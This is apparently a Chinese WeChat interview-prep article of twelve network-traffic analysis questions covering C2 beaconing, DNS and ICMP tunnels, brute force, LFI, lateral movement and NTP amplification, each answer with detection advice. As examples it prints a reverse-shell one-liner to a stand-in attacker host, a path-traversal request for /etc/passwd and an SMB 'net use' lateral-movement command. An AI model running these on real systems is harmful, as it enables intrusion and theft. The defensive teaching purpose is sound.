《网安面试指南》
https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
题目1：SSH加密流量中的异常行为
场景：某企业内网监控发现SSH流量突增，但数据包长度分布异常（大量固定长度数据包）。分析可能的原因及技术依据。
答案：
可能为SSH隧道滥用或C2通信。SSH加密流量通常长度随机化，固定长度数据包可能表明：
-
C2心跳信号：攻击者通过固定长度的SSH包维持连接。
-
数据外泄：通过SSH隧道分段传输固定大小的数据块。
-
自动化工具特征：如Metasploit的
ssh_command模块会生成规律性流量。
检测方法：统计包长度熵值，低熵值提示自动化行为。
题目2：Telnet明文协议中的攻击痕迹
场景：捕获到Telnet流量中包含"login: admin\npassword: !@#123"的明文，后续流量突然中断。分析攻击类型及后续动作。
答案：
此为暴力破解成功的痕迹。攻击流程：
-
攻击者尝试弱口令（如
admin/!@#123）并登录成功。 -
流量中断可能由于攻击者切换至加密通道（如SSH）或删除日志。
关键证据：
-
Telnet的明文凭证暴露认证过程。
-
后续无流量可能对应
/bin/bash -i >& /dev/tcp/attacker/4444 0>&1类反弹Shell操作。
题目3：DNS隐蔽通道检测
场景：某主机持续向xyz.attacker.com发起TXT记录查询，请求频率稳定且内容为Base64编码。分析技术原理及应对措施。
答案：
此为DNS隧道（APT常用）：
-
技术原理：通过DNS查询封装数据（如TXT记录存储C2指令）。
- 特征：
-
高频非典型查询（TXT/AAAA而非A记录）。
-
域名层级深（如
a1b2c3.xyz.attacker.com）。
-
- 应对：
-
部署DNS流量分析工具（如Zeek）。
-
限制外部DNS查询权限。
-
题目4：HTTP与C2混合流量分析
场景：HTTP流量中夹杂对/wp-content/uploads/logo.png的请求，但返回的PNG文件熵值极高。分析可能攻击。
答案：
此为C2通信伪装：
-
攻击者将C2数据嵌入PNG（如LSB隐写或附加数据）。
- 检测点：
-
正常PNG熵值较低，加密数据熵值接近8。
-
请求路径异常（如上传目录存放静态资源）。
工具：使用binwalk或steghide分析文件隐藏内容。
-
题目5：爆破流量特征识别
场景：某IP在5分钟内向SMTP服务器发起500次AUTH LOGIN请求，每次尝试不同Base64编码字符串。分析攻击类型及取证方法。
答案：
此为SMTP暴力破解：
- 特征：
-
高频
AUTH LOGIN请求（每个请求含两段Base64，分别为用户名和密码）。 -
响应码
535（认证失败）占比极高。
-
- 取证：
-
提取Base64解码后的凭证字典。
-
关联攻击IP历史行为（如是否扫描过其他端口）。
-
题目6：APT长期潜伏流量
场景：某主机每天23:00准时向境外IP发起HTTPS连接，持续1分钟，流量加密但证书为自签名。分析可能场景。
答案：
此为APT定时回连：
- 行为分析：
-
定时任务（如Cron或计划任务）触发C2通信。
-
自签名证书规避CA验证。
-
- 检测建议：
-
检查主机定时任务（
crontab -l或Windows Task Scheduler）。 -
分析TLS握手特征（如JA3指纹）。
-
题目7：ICMP隐蔽信道
场景：内网主机持续向公网IP发送ICMP Echo请求，但数据段包含非ASCII字符，且请求大小固定为64字节。分析潜在威胁。
答案：
此为ICMP隧道（如pingtunnel）：
- 特征：
-
ICMP数据段含加密/压缩数据（非
abcdefgh等常规填充）。 -
固定长度便于封装数据。
-
- 防御：
-
限制ICMP出站流量。
-
监控ICMP数据段熵值。
-
题目8：WebShell与正常流量混合
场景：某PHP网站访问日志中，/index.php?file=download&id=1和/index.php?file=../../../etc/passwd交替出现。分析攻击链。
答案：
此为文件包含漏洞利用：
- 攻击链：
-
攻击者通过LFI（本地文件包含）读取敏感文件（如
/etc/passwd）。 -
可能后续上传WebShell（如通过
/upload.php）。
-
- 检测：
-
过滤
../等路径遍历字符。 -
监控非常规参数组合。
-
题目9：RDP暴力破解与横向移动
场景：某内网IP在爆破3389端口成功后，立即发起SMB连接至另一台主机。分析攻击者意图。
答案：
此为横向移动攻击：
- 流程：
-
爆破RDP获取凭证。
-
通过RDP会话执行
net use \\TARGET\C$ /user:DOMAIN\admin进行SMB横向扩散。
-
- 取证：
-
检查RDP日志（Windows事件ID 4624/4625）。
-
关联SMB流量中的
Tree Connect请求。
-
题目10：Tor流量与C2混合
场景：某主机每日固定时段连接Tor节点，同时存在与*.onion域的SSL通信。如何区分合法Tor使用与恶意C2？
答案：
区分点：
- 合法Tor：
-
流量目标为已知服务（如Facebook洋葱站）。
-
无后续异常行为（如端口扫描）。
-
- 恶意C2：
-
Tor连接后伴随异常进程启动（如
rundll32.exe加载DLL）。 -
JA3指纹匹配已知恶意软件（如Qbot）。
-
题目11：NTP协议滥用
场景：UDP 123端口流量激增，数据包内容为\x17\x00\x03\x2a。分析攻击类型。
答案：
此为NTP放大攻击：
-
原理：攻击者伪造源IP向NTP服务器发送
MONLIST请求（代码\x17），引发响应包放大。 - 特征：
-
大量小型请求包（如60字节）。
-
目标IP为开放NTP服务器。
-
题目12：HTTPS与C2的SNI字段分析
场景：TLS握手包中SNI字段为mail.google.com，但证书实际颁发给*.freehost.com。分析威胁。
答案：
此为恶意域名伪装：
-
技术：攻击者通过SNI字段混淆检测（如反向代理伪装Gmail）。
- 检测：
-
对比SNI与证书CN/SAN字段。
-
检查IP是否为Google官方范围。
-